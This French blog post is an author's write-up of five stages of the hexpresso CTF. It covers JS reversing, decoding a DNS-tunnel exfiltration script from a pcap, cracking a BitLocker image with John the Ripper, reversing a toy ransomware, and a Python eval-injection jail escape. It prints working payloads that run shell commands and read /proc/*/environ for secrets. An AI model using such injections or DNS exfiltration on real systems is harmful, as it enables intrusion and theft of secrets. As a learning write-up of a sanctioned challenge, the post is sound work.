Du 12 décembre au 19 décembre, hexpresso organisait un CTF en ligne. Il s'agissait de se pré-qualifier pour un challenge pendant le FIC.
Sans intention de vraiment participer au challenge pendant le FIC, je voulais tout de même essayer de voir jusqu'où je pouvais aller. Je suis loin d'être un spécialiste de ce genre de choses. Je ne fais que rarement du reverse (en dehors des systèmes et des structures de fichiers).
Voici ce que j'ai fait.
- Étape 1 : OSINT/JS
La première étape consiste en une page web dans laquelle il faut entrer le flag :
En regardant la source de la page, on trouve ceci :
<script>
const play = () => {
var game = new Array(
116,
228,
[...]
1385,
1431,
1515
);
const u_u = "CTF.By.HexpressoCTF.By.Hexpresso";
const flag = document.getElementById("flag").value;
for (i = 0; i < u_u.length; i++) {
if (u_u.charCodeAt(i) + flag.charCodeAt(i) + i * 42 != game[i]) {
alert("NOPE");
return;
}
}
// Good j0b
alert("WELL DONE!");
[...]
</script>
La ligne qui nous intéresse est if (u_u.charCodeAt(i) + flag.charCodeAt(i) + i * 42 != game[i]). On connait toutes les variables. Il faut que le code du caractère du flag additionné au code du caractère de la chaine CTF.By.HexpressoCTF.By.Hexpresso, additionné à la position du caractère multiplié par 42, soit égal au tableau au début du script.
Un simple tableau Excel qui fait les opérations et on obtient le flag : 1f1bd383026a5db8145258efb869c48f
- Étape 2 : PCAP/DNS
On nous fourni un fichier pcap :
On remarque deux flux principaux : un flux http et un flux DNS. En analysant le flux http, on constate deux requêtes et deux réponses : index.html et dnstunnel.py. C'est le second qui va nous intéresser. Voici son contenu :
#! /usr/bin/python3
# I have no idea of what I'm doing
#Because why not!
import random
import os
f = open('data.txt','rb')
data = f.read()
f.close()
print("[+] Sending %d bytes of data" % len(data))
#This is propa codaz
print("[+] Cut in pieces ... ")
def encrypt(l):
#High quality cryptographer!
key = random.randint(13,254)
output = hex(key)[2:].zfill(2)
for i in range(len(l)):
aes = ord(l[i]) ^ key
#my computer teacher hates me
output += hex(aes)[2:].zfill(2)
return output
def udp_secure_tunneling(my_secure_data):
#Gee, I'm so bad at coding
#if 0:
mycmd = "host -t A %s.local.tux 172.16.42.222" % my_secure_data
os.system(mycmd)
#We loose packet sometimes?
os.system("sleep 1")
#end if
def send_data(s):
#because I love globals
global n
n = n+1
length = random.randint(4,11)
# If we send more bytes we can recover if we loose some packets?
redundancy = random.randint(2,16)
chunk = data[s:s+length+redundancy].decode("utf-8")
chunk = "%04d%s"%(s,chunk)
print("%04d packet --> %s.local.tux" % (n,chunk))
blob = encrypt(chunk)
udp_secure_tunneling(blob)
return s + length
cursor = 0
n=0
while cursor<len(data):
cursor = send_data(cursor)
#Is it ok?
On constate que le script ouvre un fichier texte, le découpe en morceaux de taille variable et avec de la redondance, chiffre les données puis fait une requête DNS avec ces dernières. C'est la fonction encrypt qui va nous intéresser. Elle génère au hasard une clé entre 13 et 254. Elle met cette clé au début de la chaine résultante et ajoute le résultat d'un XOR entre la clé et la chaine entrée.
La première requête DNS est faite sur a191919191e2cecfc6d3c0d5d4cdc0d5c8cecfd2808081f8. En faisant un xor entre A1 et 91919191e2cecfc6d3c0d5d4cdc0d5c8cecfd2808081f8, on obtient 0000 Congratulations!! Y.
La seconde requête DNS est faite sur a696969797cfc9c8d5878786ffc9d386c2cfc286cfd286d5c986c0. En faisant un xor entre a6 et 96969797cfc9c8d5878786ffc9d386c2cfc286cfd286d5c986c0, on obtient 0011 ions!! You did it so f.
En continuant sur toutes les requêtes, on obtient le texte suivant : Congratulations!! You did it so far! Here is the link in base32 form: NB2HI4DTHIXS6Y3UMYXGQZLYOBZGK43TN4XGM4RPGU3TSODDME2DOZDBMNSTKYZVMU3GIMZVGI4T MOJQMM4DMMZTG42QU== [...]
En décodant la base32, on obtient le lien pour l'étape suivante : https://ctf.hexpresso.fr/5798ca47dace5c5e6d3529690c863375.
- Étape 3 : FORENSIC
On nous dit :
We found this USB key in the pocket of a criminal, are you able to analyze it and find his secret.
Et on nous fourni un fichier raw.
Une analyse rapide du fichier montre qu'il s'agit d'une image physique d'une clé USB. La partition dispose d'une signature bitlocker : ëX.-FVE-FS-. La clé USB est donc chiffrée. On va tenter de bruteforcer le mot de passe. Pour cela on utilise bitcracker_hash qui permet d'extraire les hash.
# /bitcracker_hash -i 76b0c868ab7397cc6a0c0a1e107e3079.raw -o .
[...]
Output file for user password attack: "./hash_user_pass.txt"
Output file for recovery password attack: "./hash_recv_pass.txt"
On peut ensuite fournir le fichier hash_user_pass.txt à John the Ripper pour qu'il tente de trouver le mot de passe :
# cat hash_user_pass.txt
$bitlocker$0$16$6946a04b89585fea10b4817c9a3917c9$1048576$12$c0297b4057a9d50103000000$60$724b0b483ed7b6c3cef283d34830adb006f1ae732a39b2eccf84959b53a1735fb9cb2f67e88282ccf5b1a04cc0a74d84778097b2db1cb689a70bfd79
# john hash_user_pass.txt
Using default input encoding: UTF-8
Loaded 1 password hash (BitLocker, BitLocker [SHA-256 AES 32/64])
Cost 1 (iteration count) is 1048576 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
password (?)
# john -show hash_user_pass.txt
?:password
1 password hash cracked, 0 left
Le mot de passe est donc password.
On peut maintenant monter la clé USB. Elle ne semble contenir qu'un fichier texte nommé flag.txt. Voici son contenu.
Every Forensic investigation starts with a good bitlocker inspection.
-- @chaignc
Try Harder !
Il ne contient malheureusement pas le flag (et je dirais plutôt que ça commence par une reconstruction de RAID, mais passons). Une analyse du système de fichier NTFS révèle la présence de 5 fichiers zip effacés : f1.zip, f2.zip, f3.zip, f4.zip et fic.zip. Tous contiennent un fichier texte nommé fic.txt dont voici le contenu :
https://gist.github.com/bosal43833/3e815abc3f92e45963a8aafc8acfe411
En suivant le lien, on obtient le texte suivant :
aHR0cHM6Ly9jdGYuaGV4cHJlc3NvLmZyLzFlYTk2N2Y1MmQxYWFiMzI3ZDA4NGVmZDI0ZDA0OTU3Cg==
En décodant la base64, on obtient le lien pour l'étape suivante : https://ctf.hexpresso.fr/1ea967f52d1aab327d084efd24d04957
- Étape 4 : CRYPTO/RE
On nous dit :
Our RSSI was storing all his information in cleartext, but he was caught by ransomware. It's up to you to reverse this ransomware and try to decrypt the encrypted file!
Et on nous fourni un zip contenant deux fichiers : flag.txt.crypt et wanafic.
Il faut donc reverser wanafic pour déchiffrer le premier fichier. Avec ghidra, on analyse le fichier wanafic :
Parmi les différentes fonctions, on a FUN_00101220. C'est elle qui est chargée du chiffrement. Elle prend trois paramètres : le contenu du fichier à chiffrer, le nom du fichier à chiffrer et un timestamp. Avec ces éléments, elle fait un XOR pour écrire le fichier chiffré :
fputc((int)(char)(param_2[(long)((int)(char)(byte)iVar1 % (int)sVar3)] ^(byte)iVar2 ^ (byte)iVar1),__stream);
Comme c'est un XOR, il ne nous manque que le timestamp pour inverser le processus. On le trouve en regardant celui du fichier flag.txt.crypt :
# unzip 5c09555ef0576e6cee46a9ee7a841c8b.zip
Archive: 5c09555ef0576e6cee46a9ee7a841c8b.zip
extracting: flag.txt.crypt
inflating: wannafic
# stat -c %Y flag.txt.crypt
1576154262
À partir de là, on peut copier/coller/amender le code décompilé par ghidra. J'ai produit quelque chose comme ça :
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
void FUN_00101220(FILE *param_1,char *param_2,__time_t param_3)
{
int iVar1;
int iVar2;
FILE *__stream;
size_t sVar3;
long in_FS_OFFSET;
long local_10;
char local_118 [50];
local_10 = *(long *)(in_FS_OFFSET + 0x28);
srand((uint)param_3);
printf("[*] ts : %d\n",param_3);
sprintf(local_118,"%s.crypt",param_2);
printf("[*] Writing to %s\n",&local_118);
__stream = fopen((char *)&local_118,"w");
if (__stream == (FILE *)0x0) {
printf("[!] Unable to open file.\n");
}
sVar3 = strlen(param_2);
while(1) {
iVar2 = fgetc(param_1);
printf("in : %x -- ",iVar2);
// if ((char)iVar2 == -1) break;
iVar1 = rand();
unsigned int out = (int)(char)(param_2[(long)((int)(char)(char)iVar1 % (int)sVar3)] ^ (char)iVar2 ^ (char)iVar1);
printf("param_2[(long)((int)(char)(char)iVar1 % (int)sVar3)] : %x -- ",param_2[(long)((int)(char)(char)iVar1 % (int)sVar3)]);
printf("iVar2 (get) : %x -- ",(char)iVar2);
printf("iVar1 : %x -- ",(char)iVar1);
printf("out : %x\n",out);
fputc(out,__stream);
}
fclose(__stream);
printf("[*] Done !\n\n",&local_118);
return;
}
int main( int argc, char **argv )
{
if (argc < 2) {
printf("Usage: ./wannafic <file> ...\n");
return(1);
}
FILE *__stream;
time_t tVar1;
printf("[*] Encrypting %s\n",argv[1]);
__stream = fopen(argv[1],"r");
if (__stream == (FILE *)0x0) {
printf("[!] Unable to open file.\n");
}
tVar1 = 1576154262;
FUN_00101220(__stream,argv[1],tVar1);
fclose(__stream);
return 0;
}
On renomme le fichier flag.txt.crypt en flag.txt et en exécutant notre code compilé, on obtient un fichier texte dont voici le contenu :
Et on a donc le lien vers l'étape suivante https://ctf.hexpresso.fr/6bd1d24ab3aa08784f868a533bcdc215
- Étape 5 : PYJAIL/PY
En cliquant sur le lien some tips here, on télécharge un fichier nommé for_the_players.zip. Lorsqu'on le décompresse on obtient deux certificats et un fichier texte :
socat stdio openssl-connect:ctf.hexpresso.fr:2323,cert=client.pem,cafile=server.crt,verify=0
Lorsqu'on lance la commande, on obtient un prompt et, après avoir envoyé quelques caractères, Bad flag ! :
# socat stdio openssl-connect:ctf.hexpresso.fr:2323,cert=client.pem,cafile=server.crt,verify=0
>aaa
Bad flag !
En expérimentant un peu, on finit par taper un ' et on obtient ça :
# socat stdio openssl-connect:ctf.hexpresso.fr:2323,cert=client.pem,cafile=server.crt,verify=0
>'
Traceback (most recent call last):
File "./main.py", line 28, in <module>
main()
File "./main.py", line 21, in main
if flag == get_input():
File "./main.py", line 15, in get_input
return eval(f"""'{input(">")}'""")
File "<string>", line 1
'''
^
SyntaxError: EOF while scanning triple-quoted string literal
On a donc une partie du code source. La ligne qui nous intéresse est return eval(f"""'{input(">")}'""").
Après de multiples essais, on se rend compte qu'on peut mettre quelque chose comme ça ' + cmd +' et que la commande sera évaluée comme du code python. On peut ainsi commencer par récupérer le code source de main.py :
# socat stdio openssl-connect:ctf.hexpresso.fr:2323,cert=client.pem,cafile=server.crt,verify=0
>' + str(eval(compile("import os\nos.system(\'cat main.py\')", "<stdin>", "exec"))) + '
#!/usr/bin/env python
import os
SUCCESS = "Good flag !"
FAIL = "Bad flag !"
def get_flag():
flag = os.environ.get("FLAG", "FLAG{LOCAL_FLAG}")
os.environ.update({"FLAG": ""})
return flag
def get_input():
return eval(f"""'{input(">")}'""")
def main():
flag = get_flag()
if flag == get_input():
print(SUCCESS)
else:
print(FAIL)
if __name__ == "__main__":
main()
Bad flag !
Le flag est stocké dans une variable d'environnement, mais elle est aussitôt écrasée. Il faut trouver un moyen d'y accéder. Après un grand nombre de requêtes sur le serveur et quelques (heures de) recherches, j'ai découvert que les variables d'environnement sont aussi accessibles par le /proc J'ai fini par faire ça :
# socat stdio openssl-connect:ctf.hexpresso.fr:2323,cert=client.pem,cafile=server.crt,verify=0
>' + str(eval(compile("print(os.system(\'cat /proc/*/environ\'))", "<stdin>", "exec"))) + '
cat: can't open '/proc/1/environ': Permission denied
cat: can't open '/proc/5112/environ': Permission denied
[...]]FLAG=Next step : http://c4ffddcc437c5df3e6d681e7cafab510.hexpresso.fr[...]
Bad flag !
Et on obtient le lien vers l'étape suivante : http://c4ffddcc437c5df3e6d681e7cafab510.hexpresso.fr/
- Conclusion
Ça n'est pas mon genre d'abandonner, mais, faute de temps (la famille et les clients), et aussi, il faut bien l'avouer, de compétences, je me suis arrêté là.
Je suis tout de même arrivé jusqu'a l'étape 6 (sur 8) et je suis dans les 20/25% qui sont arrivés jusque là. Je considère que c'est un résultat assez honorable pour l'expert généraliste que je suis.
Même si dans ce write-up, tout semble parfois simple, logique et couler de source, je me suis bien cassé la tête et les étapes 4 et 5 ont été assez chronophages. Malgré tout, j'ai surtout beaucoup appris, c'était en fin de compte, très intéressant.
Parce que je sais que ça n'est pas simple, je félicite les équipes qui sont arrivées au bout et bien évidement la team hexpresso !
